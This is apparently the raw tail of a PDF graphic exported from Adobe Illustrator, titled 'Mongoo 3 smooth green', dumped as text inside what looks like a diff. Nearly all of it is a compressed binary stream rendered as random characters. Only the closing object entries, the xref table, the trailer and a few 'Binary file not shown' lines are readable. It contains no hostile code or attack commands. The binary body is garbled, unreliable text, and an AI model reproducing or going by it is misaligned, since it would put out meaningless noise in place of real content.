TåBW“‰[*|f¬&Ó¡Ýdš l²ûÌ\lOÛýS&Ïnf×8›€úzÀËÿ4Jóž‚™/ÿ#^¿ûÿæôÍãˆð™.ÿ3éi÷ÿO•r¹ü/¬rÊËÿœ��öûÿBæKM^þ™8ðÜéþ¿)"H`™0]c¯åx¸åz$ÏÍ/Çcp4Ÿ3ÉñÜ/fÎ&:òŽï0.}súœ"ÃFw£‰Ÿù– #×Hã‰ßkûÜ#C§Çáû|è‚©!ì䃴ë}c–ý“D|ÒœFI�–•Ïb­…Ú0B^ýÀùe^!ñÐUÞÛ—&Ô
[ó µÂgÌNi€ó QVA1ç°“‚[±¨²N$°¡0k {àjh*Vœhì\+߄δ7·æ~Hb�ËëíÙ¾?¤øD¶ïÉ7*xÚ)ÐýÈzŸC9´¶H°™3Wl^õ16Ì�ÙØôÚœ-n2dû–çë½ïÈYXžˆG™21æf®—;ÞÌïrÇ[
Å´RàV¥Ü»˜Qø.ºYt £ïðÑ0␍ÍáÒÐt7|[íÔ�G4R¸°X`‡ŠY6‹A'›äGxæ�B1�ó~Š{ÿ#SÌWÿMÉ�¦¦æx×·ß½UõYïýÓTu׫ÿB¦þ¸ÜûÖÄ�òÞ?‡eÍzõß,ãšðÙ„»¬ÏÞšÿ½6±g¶ïT÷þ>¾}ïùkæü2D õùœ¼<Û—Yp4-u‚—íË,„»_ÞÙ™‚p.ÈûðMÄÔRï␍‹`Ú†9¿|"ºpC³eûâVÈê9{¶ï�çÙv;xõ “}?µèA‹fcÏ¥šŒÚAid7Þ+š£Ì)ÎFïÁ�!©îñ^•û²æœKå•-×p÷ö©”ØÀ‡ÖÚbíÖ½ {BkŸØ3@"Õ=6ñçd{Öo;ÂötY¤ŠqÊ#bÒWc´» [ž¹Ta5ÆÙ¸µƒ�Çó8~%ʵL'Á[wq§È»-Sî¡|†PˆØÎ¼÷ÈL›åT­I¤Íí2ÌÆÐØÊuÝ�
ªÙ”©|€u4ðÁûzð‹R]w£ð=}s» úäyÊHà¼[ƒ�·²'}G€ê$…¡Ü(5að°ð€R␍¯ÑÇN,Ù¤QŠaçRÜqaIŸ¾ÒÔo–9eÈ,+TLÐÖ«éØbÁ93ocaÅ53O¿Qîù€Ìûa¿‰/i\Mçpë ž­öè•…øƒ±Ù7¶DÄ÷Ó+W¨+Ìa½éµåš#`†ÂiéÊ4\kŽÜp±-¹eæ û[_K=}¬¶Ì¼„)0¢ßgBò&ë
•®èS¨¹Å¥ËûêÀ áz¤?.Ô†¼;Ô½ÔÛ­+ÔU)žo›]ö”@Ê êñª+Tex³s‚
`H"âÎKúÚ2µRAƒ�¿©“‘(?¶zAʽŽ{}‹°q)š[üz­ÞŸù6™m«Ô§.œ(Eçy×¦Žš‚,â½ Lm¬¸¯YúÊ :S5Øv”ž*s¹v¡‚Œ±šmÓË/ÉãV>‹:ìx­[Ðn␍øœÜ+³,0y5ï3„‚*Á›8âp1M`¿ÓSÅ÷SÀ¥7ªÂnù¥Ç­¹`áÒãÜ"A#¶3ˆQUÈ0÷¨!4Bß@ø  € “{óMð@Ÿp9UO Ö-÷#zÂòͺ{­Ú�É8\«îp¸'¹m–FÕûœÝ žÛ‡Ôh_˜iÕç[ï› ›àÕùl=¤çàO«ÎãJ”�¨±qÄí`³`)‰A� ªKÕ5%ÑçÒ`ùˆÁóÖü¬šªg X0š5…™Üj°_Þ£,lÄÚ-é·d2dé‹ '&¹5Îò .À—ÇÁÿš3'Bÿƒy`>…�ý^»OÒEI‰�cs|óì@¥sY%´™6$[{Þ*]ˆ„6al[N"³dz5|Žb0ÜkDtºçÙ¹Å@U·(P^Ò°y‰¦9´íJ:ž/8·Ô÷ÖŸ‰9t�úßT¡À¡Lè3µæšBÑï[ ÓZhÂ÷Bšo6Q(¤Íë|hÍut*¤ydÆMd1[7‹§LI ª6šóo¦HI´²§{>bÄáø�)‰ÖN¸ç#Fl÷I‡LI š�¨-®6’[á.tÚ[ ‘’è"ö&ò� ö)‰þK�[ôC¨”D”Nä#Ú¨°)‰�ÌCûöªuH¡2—|òÝ-é³çqMuY¡Y
üÅË
ÍfÔDnãü.+ôs?Ìé²Bc!ð—3\Vh—ié²BÕ¥:íÅ€A/+ÔÝv÷²BLi¨[÷²Bsäý_¼¬ÐÙý€º%9^;ŠõjÒ¿S­Ì·êap³^x¨‘ªóm‡a£í\/<œæT«).<tÜ<Nµ2.<œ)*ø…‡Þ €‘9œj…/<œÃ©VA.< –ï9󅇂œœN=Õ…‡[ž·š �Ù.< ™P6í…‡v²°Þv83í…‡Þƒ‹xÞïâÂCïÛ=|�á.<ôQÕçpá¡o0ì|.<ô¾L•i³_xèÍÆºªnO�
{á¡÷Êg×Ó¦¾ðÐþ4qÛ¡£}3Í…‡ÞqY¦°ëÙ.< �J2� ½o;Ô×›Y/< yOá´Z[±ßv8é žòÂC÷p5Ì|.<ôÞ�QeÚìzfÇ�Xõye«¹ßvh¶fºðÐ{Ÿëó¸ðÐ;ÄÛÕsöÂC·d4óVÄŒ)К�±HŸ” ÉëÂÃR`– urs¼ípÂg3í…‡Þ­D\ï)œ=åÂtÛál©$7®ºm·9Xho€ ½ch#úù:?Nwá¡÷É#†á1ã…‡zâ—cÆvÄœ´<jòÂÃ2mzßv8»ª®^x8‡tì 1qçpá¡ÖгÅ=±¬…½ðÐ÷ŠBa3Å…‡^‰Ï_ªí9û…‡ŽD¦ßv8›L» ªü˜÷=gºðÐ[ù1E?Ìvá¡�p§Ôà°ÞA× ÃçâNuá¡c+º(öÎX qááô]N›ªQ3$g¾ðÐÂ�·0s¸ðP˪s¾íP•i³_xèDE”Û9\xèmÝkH›[â•óm‡!|�V¤Ù/<œÞö uá¡›<$·Î+D±ì}ÛaÄv´þÔzßv¨ª³_xè�¤ë¼HOqá¡÷m‡~zZð$]ÏÛÍNÈ™.<œF³™âÂC×ÙÄ@Ö­o¯Ö|.< ×9û…‡Þkv©Ú— i4©»Á3÷µB]&&ÂHtw°¦ÙÐï7ÅŒÝ# Ï<ä½w¼¿5‰’¤’˜¨j`syÁ�—␍`Ù§MöÍHÀù z–¸Ð/«(…¦lÁIu©¬([—��Ìhãp—î®ØÕ­…
.‚²ºö“×ç¢[~N®Ä�×(¶úºßŽQ›?v“ë[_…äÆúåCòºó)ÓÕê� ]ý‘.Òµ£‹]´ÔäÎ1½wQHÓǧuú¸÷þAŸu¥6}uÂèëƒÎ-}3l¿Ó·ô¨Kß¾nŽé»ômœ~LÝ$è—ÆÂýúzÿN×/¹ýÆÝ¯Òo'ñ EQªeø,¯+c¦ `”q]ˆWó+HO¸¡lÓÕt§µZxß¹}yüˆ­­,ߟ/ ëÝÒòùÕÞáJûsya¡�9�/v›Ë|aå¬ñã¾²±¦%%ÆÆ©ú†§§À˜Øníúz™^’Zðø\v'êÜà”×á%¸ÇÒ¥ÞtA¦zÃb±dÃFBÚÞE‘ŒŒ¿è·�ׄ¢œ¦“Æp'ÆÊ'î“Üê]+•èÚ{ó�Þ;;í␍_s␍”LSn}U“›Âé�©Õc’!yAWoóu|ÿ!�9“R6%ÌÊF–« ßâ=ÃKkœ±ºÉÿ]‰%6NùX:³z‹Ò€+±¥Š�‰¥;;èÙa,y±pŠr�OÑ‹íXz—kÅR'÷û±µ¯E«ø%¨¤Mîe“Hˆ.1kefÀ”;b†AC«ï¬Ç<Aµ*{"À·«“úøØ‚o·_Øü§3Ÿ ®Î-z#šŽSüIȸú퇴5öàûêW’ðÍ~R}RŒ§ÑÏ´úó˜WÛy0ª6?¿
t&{@ïöäãáîÑÝÝ ÈƒQAíçV>a¼ÀcÐ^l"0¦wâRyS{WN/ØÒãͶöâ c¼�ìcW{qÆè/^aÒ–»tfos␍?C`Ðc3ô½rÊ(o½w@ÎSk°¶='¡¡Åû2ü1†— þÉmßÄàçùΚÞ@뎘Îk)Tj␍Tp©„ ’‹ÈÖc„ÓÌïùYy¤Sx-†Ÿ7¸Ý52A™ó'.srõÉAÝkÀÿâÆ"z›T�Î<§ÍH{ÓÀ¼ÁìçÓ•Œ¸±Rüè¯ÞÔ6ªü“ü$ÒuïþÂlÝj&®¶4ùù&`˜G“šˆÅ]L
a¯¶³*]WZ›1Íö„¡Ý3_³ÉJjy\‹ï°‰n}Q%²‘ׇ.š‰¬q–FXJ^ó}øy“Q©¿qO3�マ›ÆC4âLã•Ý*°2|9í[‹Çm¨óûy‰›Lã~ÞgÔºŸO´öíÕ ¹¬¨Ç[{~¶8Ó»×W¯ÕOGìÛÉײ:šÏ^‹®$pºôšx/·sµ³RWXLn�­Ú¸‹b2$õÈVòƒø 5�ÝS:Ô¦J2£WšÙcvâðMd´o-Ö(kö%Œpôƒ·u�¦�ÝÖÖ[ëùÛôÂIííd¹€Zn¥>ÌÓ‡{É,Ì×K.Y½½ßß=º§}VtUÑ8.ÚâÓ¬®,|OóÚKmŒ–•{t!s$äÝ},qúW…踈oeÞÁº}Ktº[±tÿâ Ö‚ÓÑ
úŽGfó�H>`žÝ8æ=Õxù©¿�Ä{PÍ<ÂWœ‚Ÿõ‘F û«(Üö ‰Î¤*:Ñ]®VÑù S¨ñUvu'ö‚g©”)|àX¦™Îýˆ"ίNª˜ÄŠ4È´ê¡“G˜Û¾==š$ôîÀä• Q‹Y¤¬Ö飖ßHÃD£9Ê$·ò·ûå·ÏÝ–EÄÓt¶q„œG �ΊÌ^é+ôqïN×ô&Hö;!A¬äºù�ˆS,DÁ‚ûQê.ôkÌ~ºÆ £e¤îo_"¡w±fs|ûÂXm·6†&Œ"ijû†Â7¡ímä‹/ç'…Ýý\Ūÿ¥ÒÛéâ)~R\‘+ÅÊ¢”:¨Þ•¤Ë�÷kfÞ²WµÂbv«VXºl•_÷×Ç ðS¼r |¾¶§©h•á¯âÚÁ™%4¹qÞ¯ô,’oii§Xýz.råJ}÷ºüú\Ý?ï0;_»™ÝÊA¯3¬UºLIU!øJGSê! &…D…1n`VOB]V“�Çöîõí�².”ÏÝ«q¬�ÿÚ¿<®Šâ*U}l-´1»aLoY~)##c9ŒÞ{Ì“ ïØ
EmÜÕê£fgýðóÒ{ÀÄmŒ¹°�ܯÄl†"f(äæClwØSÏ£¨Õ“˜y␍ù•[,_Â¥Né3¿0@_tèíõ­•)A¯-UP¬zeooós÷ºÂ}…F<Ë–˜ƒXŸ'¥�V)~¿´jµ[␍Ñ)�o&‘èTi®ú\ûÒ•áunûz´SîÔV”�ÛÕû¯y_y¨ÕSû‹»gÇ€~©ò~1¼ÄL9Œ½¬VèÖr¿ìY¼0æzÒ/
çA`L8_û.cÛ‡­4϶�F?åБ° :úÈ␍À„½Óй]%VÑij6¹·æ*Vm2uc#=Ú¨ŒÅ½c�©WÇ`loíîgc
HÒÊU©ÊîïªB3UU^‹¯ë�Çý­½îíý3y¢ÌNf8hãAZt‡ÙØÞFøÄ(œdû™$Π\.}®öŸ+T~uˆ'‘@@¶ŸEÎ!¤ù�yf9G4¿1»Èm°„
»Z¶nêkU'ÐÄy?¯™&’~ZèÚx/k3Jù<‡ÀÌ*å,ë!(ÍXÙÃ&FáüU™ ËÚLªŒ#®Õ­ot‡ð$¹‘õ&ÐÀg5rÛ9°ØŒ”6¡Å˜©E v´‰_”—+q”CF^�,9|f^)–bk§ägb­ÄÆÒÏÕ+d#ð^¤ä@»">6(’Š¥…ô«Õ(¤QámbêÖ¦4ÕͶJN(SO#;é#'Mšô�N, 4=¬ôKgç;/µJ6û¶{½þ#^9xÊÂŒÄv6¶k”îHþ2&!Ó^î£tloS°<8è[içöhóæá:V}Ë�µ�Ô+œdÓ16§…Ê6ëk;ëÏíz…º|SÊï›ýFPÍAµi¡•*ìL™A¥ (ݱ¶žVªN¶¾§ÆyÐQϸ¬…R \VÖÙà[°Ž”Û¹(Þ QŽGh3"¼°�¯Á[{ítã-n ~z3*ÍãõÆÞ…)W9_�“ÁÎŽV̇wM,ˆG>£óÑeîÅTå’E‹,,�ñ¼ÞtùZ,Uo¢'t,õ5¸#Û4É‹…u´¢œÅoï‚ꎬ·8r¾ëßZo¦ {‰ª>›6àz3+èªøVýÜéeÞþ%:B/Äj+§þÏ®7a—:¢ ø�ÙsÀ ln—*ÞŽ-úaŽŽ$âÏmK�Fi3,ô•÷•Á"R®€„fÝièÚF¾“r5“fee2DaølJJW#!§w›�5›|6%“©apó,^2m•2À€Í”„Ϧ5€ ÅgSÝLiAø, “¡½½Û/É`xµèW\³\¢h¶zWz8ÝM␍è�ÝæÅi­²�Ìî¦äâjå±6zÙÝϽ�î¼_Ö«ÊKãl}›¹*‹­qµ²½Våj×ÛùÃYˆÔA«¿pg¡«¶`æí¨wRô�%=g�F`gJÈÍ ìöœ$îß·¤±†­Zkóôh8␍ÝÎóŒÍÈ0Sº/gôÜN½e0©kOáO›Ê•§ƒF—wöÍ&®�¥ñW=·®&žÕŸÆÌàO‹/=QÈwv†~ž‡²eœØ][¤íϬJ£r;ÿ"dö¯¤Ž˜m'Güݘ„Œ�Às”jPŽÛ¾\{Þ½¾ùñHÎáozì`±J [¼ä‘ Õ�‹ÿn­þÙ]«ívÅÁÌ(ü␍JÖ†±méV␍­Ð<§ain5^îÄž¾ÎƒÒ ¥¡o鵕ƒuiÁ–îÅQ␍›„öþÍÙ×6$ÿòìã©×�÷möñÔ˜¿<û!¶‰f™}<õzD×_›ý0;…3Ì>žz"lþæìã Çâ¿:ûÁ”[ÏÙ'Š¿ÕÑ6œe–Ð$t\EZÜ2J6ÎÿÑæÆß·ä Lä×™̰]¯BBÒwL ÷JV®™`ág åÝ}¯êÖrKi a4€VÏ•T§jk#Y^Ú®
*/<pÆð³……­í=͈•×ÌãG¿P«-␍à8›…lÆÖÆýýù®ÞF'nJªÀ$¬'‘}Õçõ4·²þÄ€eVI1{¯ÉdÄÏ`o)ü )P/Ã:ж{jÑ�õ‘Ý‚Â#D?é÷½´‘\ož� HúÛÅGFlpßæ“m¯íÜ­‰¦+�tîNÄ·Ÿ^ «ü¼`¬ô�ìks3ޱý1~ø´¢±gâ½XÔvØ“ëÝ›S3A=¤ú*ÒJ‰£¤vsÏþ µðãó¹ö
ÅÏëÝé¨'µ$T†WÄ™BððlÆÃøéLÇýI}jÛkO
×Ð�PdLH(?¶^5$Pi{´]^ñÅÃÚÆéÎvùËÌUäÌS„ªz}€!Óâ�n©ð™!P¹üÙ§ŠvÌ Õ5”1Hü>&gªJéáÉÀC¼±tùìB ‰¸ ‘˱75i”æÙF»␍ÿÖ4—ê m˜)Â�-Œg$R³v"meϩڠ �"‚³WÛÈÌ:Ú":§#-&m"‹`¢�T"<Ÿ[X³5@tèpmÌAؤR.m�‘TÚ©‚4 e˜ûaoƒ
0#ÜÎE<®6 nŸÙ��©YI+E»6 ™¸þm0°éÊéD³I±Z¹EƒÏ† {Ge ¬ÌšQn©Ï­Ÿk×ðõXk9;•¸Pš×¸2S ;¥e %¹g©ì�y?3-•˜(-CÏ:w˜Ò2ì,� ”–áüÙnŸß<)'IÊV–³t‚õ@Úzã… 65k'ÒÖEzša©d`¼f„␍¢ò8 1½zúEe`xí éLv3eK~®]o«Ê+õ¸»Ÿ;Ý/‹‡(OYÙY#ˆdSë·Zj®–»817Œœ êkqCÍ:“újjÛýgš­ï·R8‘
çZ�ÁÑN«>
[+ÜöÍI�ÒRá:Ñ:Í'ðOÐNwdøYLª‰T8Q-»“&?_†Î5Zå–66ÞÔ «×�­¦Æ™»š¢ûoú‹5ó‹òrC‘2¿¸aZú ÊüâcóÝ †6½K/´µ§$©–Ù;^õgIsJÕ+ÕÔ_¤Í/ED§™ˆ~Ôqö”Æ>³Ÿ;F$pJÜ0LãuYoü"IŠ4 ±iÝY"65<#n¦™+£V.hl% … ¹†Ÿ¨í6Ÿ5�ò¡–Ô³RI›ÈuÜ\Sæ-õîÕr5UH¼î¬Ó·K†­nÞ#¸$þØNý�†2Aòl…¶y 2‹Ã�äͺ’ÛºáOwó/­8qk$¯bZné“‘ùf›·>µaÞ™hƒ­ìoª›Åw„ ÙÊãCˆ½Ò<˪ߺ7¬úmüôJÒ+ª ±®~c?Pþä]–4PÜA²ç‘BwŠÉl½{LãºÈ`¯�/ÕÆß÷:}=š3eßÖ[?ô¼š’yw×0�æí.VÖ]S—¥.õ±¶{Þ|?®Ä®"æËOPtŸò¡ϵb:DÛq(qËãIƒú’!¬½ÂÞð$ë|eý)«~«ˆ\Ž í…S‹Þöví=:+_¿Ô*Ý…æîåõójµ‘Þ¹Câi -␍w4È×ñ�ÕêY‹c2³¢
›¸Æ<'}µæ™´F¹ºyµ†S~qŽ-–PÈ}I«âé®*™"‰u4-ûq’å)␍?Ñ2µ¿¦Çu¾3 ¶’~Jby«'‰¦ñyð¬L¡>îujM¨§ÍdkçDz´–Y�Î␍3�ÝMg¶ø8J¦¤èV<^Ôr6‹x q�Æ­'Üi&uœDà(­&}~lf*‡2␍…k”9‡¾ðÙ%y™Hn™dˆ.ÄAd!ùE©#ÜÛI".<A3’W%ô^-␍èkЪ„Þ;Îh)¤§›HdBQß,F¢+­ÒÒîÿ šH^rQ!+ÑÌå¸+)gJç£Ó�¦"ÿ¬GþÉì0ÌM¿%×Iº–~�*rsÜ“ú£h1šÙ½*ÙŠÔ”[ª€æü-¯‹¿´J(j ùTKt ¦ÃRå½°÷¹¿x¹)VÞé‡-{ì`‚ÛßD±ƒ—rÓûÞc‹¥Ú�6
¤PvòÚV«ÄÒô ‹SŽ�N_2y©s½Ç�ô[MÎßqtË,ìÈö¬Ý›�ÝÔàôpç¨0Üö7üÈßV•çGºòX{¸®mîn6qÞïäÉ.Ç·›²­Ñhl ×ñ´¸€Fxˆ>ÖÑYç0ð•W‡„ëå ßøhGÀ.'ã¤,­Pì ^ãÄ¥Þ3‘K«›ªÀ,Ý×ñ¢žV¹%û<D?3£Ôkõ[œäÆ?®üˆ˜³gJ�Hx/S˜)½fFŽÏÜöí ¤±7baå/SfµIåÙÚA`LgU S´wf>c_Ư;F†µ‰Mð÷ŠXïI˜A»Y±0A¶3P‹/ˆ$¼GäÜÞ�ÄYR=Xbï†Å¹îæsÎA‘FGQ¨ÉâçiôAg#–9?¦È�«›÷ Rž_ÒˆÙøh¡Ÿ÷¤]à›>9j„M,Q Mq8À³™4Ÿ½ñpFi`Â�}`O‹7>x¸Ì8µ‡â+¦nò†6±çÍf±¼{³²þVnç�»×»ý;rºEéiísae¡yßÑu"N'²7ó$7ŽS¦C,È␍�KŠœ_Q}®$È7qá–œia,S8ðá‘ÛÇÑÍøüM�߯G–XA´£Ï
y°˜9a¿Ð�;H›Ï;ùYÓAHÿ�‡X|ðÚbö˜5éjÎ}¨CGÔuÌXåLaêÇf¢=e°•=ß]#ߪχIòÍÔóчŸ±¥‡dÕÖ�Üco¿[y_¢ƒGw6¶ïyr8è kí]ÄU�¤³¼‚õ?«À,›¾lšÏÿÑOç wþφ.D·Éù©¯Á™óù?ú Cº*cè1šK௨2†ƒGó·TC�Áý·TC�ÑŒ�¿¢ÊzŒæãò>UÊ,b&Ž µË(³é¾™ùav ì;í.ó§• m§PIÚvecûÊðKÐÏ)ÊÚ@[Íbá/G$üixã°1ºhÞY}dm»¢tu㬪ï¬^L60^´í¬î¯ì›YŒ¿ZÅj^ �ðNYtb8"Áý$úFéÏ2ú3˜›Ô:Å&®ƒŽŽS�“ÑðÓ{„ñ39…ìÅtØØÆzïRß�| Ñ"Ú^œ}CqÜ,’øØt␍i¡÷âìû Þ®1â··yÇø/¯f<à}b�f$@wÌH@ÇæX‘ ´âÆ©�î©Ë¦Ø`O*üî´î<Ùbð"†�±ë®¬ jÚ v&†½sƒ žÝʽûrÕŸ¥␍|ì«w$λ�‡AÎðj@;„|–�Ô•␍x³': s¶�àã8UÑ9í@Úî¤4ða¯ Ú†‹ º5èêUEZX>?�C
4š‰6ž³ ›óº]ZéH <#ç␍Źæm␍¨Ê­Þ†4œ)Œcë¼=r¢o4šàùOÉdíz•­s9æ� /9W´ +þ¡g4@ïŸ<4mH{xÖ)èÁÔ_ºö²o9÷¡€Jîm”f�j|Í&€$;•””ZÚþT2Ñ ;Ò> %Ä@úc'lbJ <eZdPÚÃxa6Þ\\ °H³Ãg£�ØêmûÊ“ؘIáEº!}ù!çm¤uB]o¼�ÑøÎF�þÈX¤§b�¯ Èy‘¨V+Rß‹ñ‚ÉsZãQ:ö=²©�q2ƒ²½oì¨Ý##/ç”ë⥜�‹ƒñòRÎÇE‰çÆËK9%ã奜�‹’lvxx)ç㢌hǨºy)çã¢Ôü®^Êù¸(Œ·—r>.ÊN_÷ðRÎÇE‰Ã½¼”óqQjRÀÕK9%vtyy)º(KƱÒjD‘‡=ýR?�£ rº­¸pˆg)©•ºýB›º’Zq“ÔÒåŒnœeâøÆDøØ„å/›_#Áâ¯mG#ü¥ý½“Æiè`ðÇäVêVÑŽ©ÍooêûMñÉñÊ•÷×�gÓ¾¶‘_fR«mø�=J˜Ã.
#et”Ô;�bçøÄpì6DlÿIœ€©×¼d
Ðлµí¸¨[Ä È6;³wôÃnÕ£s÷>x´_J©žÀ¥Í ’ Eó™äÆŽË[²¯»»e´Ï‰rG»™õj¿eÞÉ„ÇËðèJ�¸H¶^’>:ýcñ�¤Dþa¢ä/␍Ñg¾eX!Êf³ð#‹ž7"ÿć??ØDôÁ¬gv•Q¥Óu侨ü‰ñ³û“ãS´MJ~…|½�ÿîuûP -ŽFJ§1IÃÞrEÐq²\³Ýé¶©¯–b£™ƒþÈx�>F’ú:Þ�ÅLf0Vº”¬|dZ͌ԕ~††b2‰hæ
÷?¬Mü»c½␍ôbXl5]ÊöÅžVTí')œúNh*’8êü”šr¯'÷‡ýábðá7à ¿ù݆ÿë×/ê‡GÍ
… ÍfX6­´ÞÓÃ?ý‘ø;
P/2péïŠ␍–‰L|ðî…��K«ÁåVgÿSCy¬4¥wÀ‚Dõ¥Q¦r]Ñ_¦iª5j…@ŠZ/ fô*ß
=ˆ6:ýÏaSHDJ@߇±)␍3Úóàxñ©á„£Ê÷ÀK¹øü¬­©Ã¨ØoEaIÁP†ÏÏeqïùùäOT/��w¸ns4V$x„¢Œºb¿)Á[¹ÿ!ËCý[”‹{²<jG? P?šãIÕß9žôñ¥†±¢ô{ +£ô{§«b6ÒÝ+ôèiPð§5Æ‹Îÿ›‡þ{Ú¡ÿþFC·ñp…Òdj±%7sÀd¥ï�šâŠ�*�)„"„Ÿ’2„®†#½Rj>£c¼G`<W·{õëvgX%úz áLÔѧòæ -FU{J‚ÉD×Á �çZuôù‡Žî¢�û_‘Æ‘n¦4|‚"ð»ÛO½­Ÿéø¿éwPH¬?%¶¼ ÛH°õm8.Äß;£tOTÀ Nw¥÷Q˜OTý¯ýHL9x\ó{Œ�c©\–fi. •k¢³ù'¹›«}�Ñó Eç Y¾0ÕèO7úßßeôLÂÿw ¶Ü•¤Î‡¹½æãà•Nkº±[+~“¡3# /LCõÿ‘åÞTtO*~ „™|¹ñCjަšþ‰ªßdø!Fß�•–¤È±Ù…÷¶Šßcäïbwè3ƒV»ª-ÿB<fàF�ï1æÅþzΛrWVÂϸZ훌ýÿ 1ö�ø!…¹©Ò÷w×%ô¯N¿%ÿ%õw§×ù�Ζqoä{`dJ%¿!ƒøµà9Tþ¯Æ€ÒùhOkå©u¿Çø‰d
=¬�Qº‹ö�§Sù­-|t¤C96lì=�ágTþ@ÁtÖŸQù{  �›Ê
P‡Ñ–Â
·¾6V#%íƒùÆ^{l¨␍|dL%,‘&4l‹0˜©ð`®þ=°0= aLa29×OÍg ³ïKèûEºo<Äàì£øïØ5©ÿæÊuc+~Vë.»(0‚’,wI£eu$µJzh‹Q_õÕ­–B4žˆÞßá�&ZAÛ.gðAåò‡FñŒ�ËçáKŽå…< _XF(Ð9øÂ±Y¾€Š°\–E_¸Ÿ‡7÷"jE´Añèýôë¾ý€g¿¢ =‰>½ÐÑV^^Fþa�bóL6ÊXŠçø\´‡æ¨<␍ß¹Oñy6e–b³O8ª�ã…èO(–ÏSͲø!ŸÍ1Q6W ¦ D9!Oq‚¡ �ÍASù,Eçi.ZFíó[à
Q.ÇRy€Í
T^(0Pˆ¥„‚ÀG"ÿpt�Êf6—‡Ö9š iŠaóЉ<OqLŽ�ÞB[úÊ1SÈsQ4¤<ô=Èá¾ T–Á␍Aï
lw¡ÀPÙ\�ƒž2€oÀ +(&‹ë(^ÈACP†§s¨¢@ñ|Žô½�….ó¨9Jàyh¿P XŽ#Oò,+␍�s9?É29 ‘£9J„â‡�‹.yð‡És6Àbhò�åáË1<d€„B?¤ó9xË0” à¾åaØÐ7Ž�Ö²y£±2Á!/h”Ų4OØ<‹G™ãsY\�a8T0 ÈÆ„a˜„ÐJzÁQ4OËÒ9W¥óƒŸ09¾0h6h¦·Šc(.Ï0ø!ôFÀ½/ð j>-ä4“òè<& $Ô5–bxÜ‹<U@tø@ºV€.ÁCANCTÉbÂã©|!žˆF8 ݼ �´žÐ@º‚ZL  |DQ™,‡‰€æ€Jñ€8
xª`FˆeTªbX@êËR4À |�ô�E† +‡(Œ#�ÐX�H1•«Ïh![ÀY 2í!‡šÇdS€ ;&p8Ä':eª%aHÇùÌ~ís!'^`xíaN@s�ª³h&á Ï`.»À¸·¤¨'Áp,Ð0�ˆ ðÇp<¡Xx›%sNg³¸M«b8ˆÃOX‹
 ¾@8Úç€W°˜aÙlŽÑQA‚**8qÀ½QžVñ�*r@ü9˜"¨™É":‚'<"
žÎŽƒ1S,šv1¢\ÞƒAó€*„ .‡Å�8Š/Øž�<Rq�`�<<ƒY"«·LÉñd9Ä@4<PLŽæ³ÚCŒ¦ˆá jƒHÚ ß„ïðÌ „Ñ<~X`°l¢á€ÑyD[èßO2ÕÔ@Ï@WEóÇSYÄýèIŽCüÍ"A�𓬾L¦
z] YDjhb�Ì"# W°î�.ä…l´IhX€¹Å¡Kˆ€ƒrY”åÆá f␍XµˆäÂiµc ¢N4£˜UŒ[ v˜;x“Í¡¶a`ìMråó�èˆL `µ$ˆÊy<¡Ù<Ï‚0F Að´cA€6–V@ˆP–QÅ? 2Ï¢‡0_…ª„V@B§ ;Zø<š‚ð<šß2Y/ù,"UXórˆ9&WPà‰wU!››È«
Ò®Ú ä]ÿ ê÷-tàþ¹ß—š#YI7ÇÊOE†‹Èqlà{XÍÿü§ùŸ&úýAßÔ¯Mý¡úã?ÿ!¡¢·4pÃpñ[¦j߯Xø+êø@µaáÌú2Ñjvú‹ôb$K‘Y*6Òtñ’‹´R,„A]3AJòX˜2 p²Œö�Ö;“M[]Ú³YÉŸRÍmqÎå8?Ì©+ÔÎ Ù,Y+X“çüÔ¢‚¶Š3Ù,‡¥h�æõ’°ÜódUa ºf€5E4 ,íA˜rÚC˸�ÿ•OW>ý¯3^Þ�ñ*D“á
˜âAÙÌÃ=,`␍!G–k¤ðå €íÄÁêŽõNPÅA‰Ã‰‘Ã!ÒÍñ¤"ÒAyb�v…€™!`%æ@�Å aí'Å
Ï`íÔwbX¢Æ²X%ÁöÒe
ЭCž€ºBt,Xþ¹\–<ÌaíW Vj␍t–h¿‚¦½ðH‚p¸[ 0¨ö“µ– ƒØoèùWkøÿ‡Öð¯.ð7DRÁG$�IS`±Ã,—í¹Ò
`˜‚}O@·/ /,
�@î6&O¼kDkyÁ"‹‚A¦tŽ2Ó3:‡í(d¯8bç rÐ6kün1�GV¿©�&+ôvŒ˜Z�<”Î QS;9
ôÖ¦þnù¥öH+¤wZkÇ>²æ¿2è_Í`6Ì1Þl¨:¹'ôrä[ÉÒ^jsŒÀƒ%›S™…¦ÑÂ
O²L6‡‹ C–ixHÃâMêbÿ-Ç/#zªOžpqç8ÂTð,/°,~Èc/,‡4oš¸òÄŒð»Ðìn€yÌ4 ‚äó¤^!'ÄÁaßS–bŽ%O˜|N÷=òÄW�” 4jìCC¥¸¬êõæ�Ä’NyZwG©YäMau‡”iÿêõÿ?Ð ˆ§á_bþ²‹÷³j.'dÊ”Bæ<ÇpÑ_Q>zÁ¦Dÿ4Ø Lžˆ2|–ø�ADW/ÇB�|?¤ób©ƒ,á�ŃKNó3 y¡àÿðê_öÿwñžšrÞ €(ŽÑö;²@Äê"ÍÇس4MižÉ9*‡¶…nÕb9UÓÄN-¼z�­îB/~ÿ’ïÿøêõïºõØVðf[÷ ^ßñž½üýç)–A¹B)þê?Ò,²Y9à^ø
|�Â’Óž¦!ޱ?|—•žul»úd ¸Öw¦'¦°…‚›¡¯÷Ìwÿ1¾è¯´¢¨Ã¤«¸ÛŒ©»»-¹!�á”�<~»À¨J
®Ñ‚j"øA+òON‹é9.EÈ©SÕ~ Ÿ9•F'±-Ÿ‹Òµ"vºèª�¡øSŠŠý¾<G
÷B§` �{¥(ÊAOP%½Âòrõ¬ùçÿÚ¶xÐ
endstream␍endobj␍6 0 obj␍[5 0 R]␍endobj␍20 0 obj␍<</CreationDate(D:20130102172747+01'00')/Creator(Adobe Illustrator CS6 \(Windows\))/ModDate(D:20130102172747Z)/Producer(Adobe PDF library 10.01)/Title(Mongoo 3 smooth green)>>␍endobj␍xref
0 21
0000000000 65535 f
0000000016 00000 n
0000000144 00000 n
0000016417 00000 n
0000000000 00000 f
0000018879 00000 n
0000062760 00000 n
0000016468 00000 n
0000016797 00000 n
0000019175 00000 n
0000019062 00000 n
0000018118 00000 n
0000018317 00000 n
0000018365 00000 n
0000018946 00000 n
0000018977 00000 n
0000019248 00000 n
0000019422 00000 n
0000020477 00000 n
0000039795 00000 n
0000062783 00000 n
trailer
<</Size 21/Root 1 0 R/Info 20 0 R/ID[<DAA7E1F6DAFF2748BD66B503D3959824><B0ED829296E5A049A6E2795E820EF1BF>]>>
startxref
62975
%%EOF
Binary file not shown.
Binary file not shown.

Before

Width:  |  Height:  |  Size: 560 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 669 B

Binary file not shown.

Before

